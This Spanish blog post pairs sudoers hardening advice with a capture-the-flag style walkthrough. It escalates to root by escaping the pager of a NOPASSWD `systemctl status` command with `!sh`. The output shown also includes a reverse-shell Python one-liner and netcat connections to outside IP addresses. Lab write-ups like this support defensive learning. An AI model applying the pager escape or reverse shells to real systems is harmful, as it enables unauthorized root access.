Curiosidades De Hackers
ESCALADA DE PRIVILEGIOS LINUXLINUX

PRIVILEGIOS A NIVEL SUDOERS


El archivo /etc/sudoers en sistemas Linux

El archivo /etc/sudoers es un componente crítico en sistemas Linux, ya que controla el acceso y los privilegios de los usuarios para realizar tareas de administración. Cuando un usuario necesita ejecutar comandos con permisos especiales o como superusuario, puede utilizar el comando «sudo» seguido del comando deseado. Sin embargo, este mecanismo también puede ser explotado por atacantes para elevar sus privilegios en un sistema comprometido.

Para prevenir abusos de privilegios a nivel de sudoers, es esencial seguir buenas prácticas de seguridad. Algunas recomendaciones clave incluyen:

  1. Limitar usuarios con permisos de sudo: Solo aquellos usuarios que realmente necesiten acceso de administración deben ser incluidos en el archivo sudoers. Evitar asignar permisos de sudo a cuentas de usuario no administrativas.
  2. Uso de grupos: En lugar de agregar usuarios individualmente al archivo sudoers, es recomendable utilizar grupos. Esto simplifica la administración y asegura que los permisos estén asignados de manera coherente.
  3. Uso de visudo: Siempre editar el archivo sudoers con el comando «visudo». Este comando valida la sintaxis del archivo antes de guardar los cambios, evitando errores de configuración que podrían bloquear el acceso a sudo.
  4. Uso de comandos específicos: En lugar de dar acceso completo a todos los comandos con sudo, es mejor especificar los comandos permitidos. Esto reduce las oportunidades para que un atacante ejecute comandos maliciosos con privilegios especiales.
  5. Monitoreo regular: Es importante auditar y monitorear el archivo sudoers en busca de cambios inesperados o sospechosos en su contenido. Esto podría indicar una posible brecha de seguridad.

El recurso GTFOBins es una excelente herramienta para concientizar sobre la seguridad y detectar comandos que puedan ser explotados para elevar privilegios de usuario. Al conocer las posibles vulnerabilidades, los administradores de sistemas pueden tomar medidas proactivas para mitigar los riesgos y proteger el sistema contra posibles ataques de abuso de privilegios a nivel de sudoers. Mantenerse informado sobre las últimas técnicas y vulnerabilidades es crucial para mantener la seguridad de los sistemas en un entorno siempre cambiante y en constante evolución.

En este ejemplo para encontrarlos tan facil como esto

~$ sudo -l
Matching Defaults entries for puma on sau:
    env_reset, mail_badpass,
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

User puma may run the following commands on sau:
    (ALL : ALL) NOPASSWD: /usr/bin/systemctl status trail.service
    

Lo más sencillo es buscarlo en GTFOBins, pero en este caso no tenemos información en la página. Busqué en Google la escalada de privilegios basada en esta configuración y encontré esto:

https://exploit-notes.hdks.org/exploit/linux/privilege-escalation/sudo/sudo-systemctl-privilege-escalation/
~$ sudo /usr/bin/systemctl status trail.service
● trail.service - Maltrail. Server of malicious traffic detection system
     Loaded: loaded (/etc/systemd/system/trail.service; enabled; vendor preset:>
     Active: active (running) since Wed 2023-07-26 13:49:59 UTC; 1h 50min ago
       Docs: https://github.com/stamparm/maltrail#readme
             https://github.com/stamparm/maltrail/wiki
   Main PID: 892 (python3)
      Tasks: 94 (limit: 4662)
     Memory: 106.6M
     CGroup: /system.slice/trail.service
             ├─ 892 /usr/bin/python3 server.py
             ├─1019 /bin/sh -c logger -p auth.info -t "maltrail[892]" "Failed p>
             ├─1020 /bin/sh -c logger -p auth.info -t "maltrail[892]" "Failed p>
             ├─1022 /bin/bash
             ├─1023 python3 -c import socket,subprocess,os;s=socket.socket(sock>
             ├─1024 /bin/bash
             ├─1051 /bin/sh -c logger -p auth.info -t "maltrail[892]" "Failed p>
             ├─1052 /bin/sh -c logger -p auth.info -t "maltrail[892]" "Failed p>
             ├─1054 /bin/bash
             ├─1055 nc 10.10.14.63 4646
             ├─1059 /bin/sh -c logger -p auth.info -t "maltrail[892]" "Failed p>
             ├─1060 /bin/sh -c logger -p auth.info -t "maltrail[892]" "Failed p>
             ├─1061 nc 10.10.14.123 9000
             ├─1062 /bin/bash
!sh
# whoami
root
# 
# cat /root/root.txt  
db5ee719b9ba7756bf******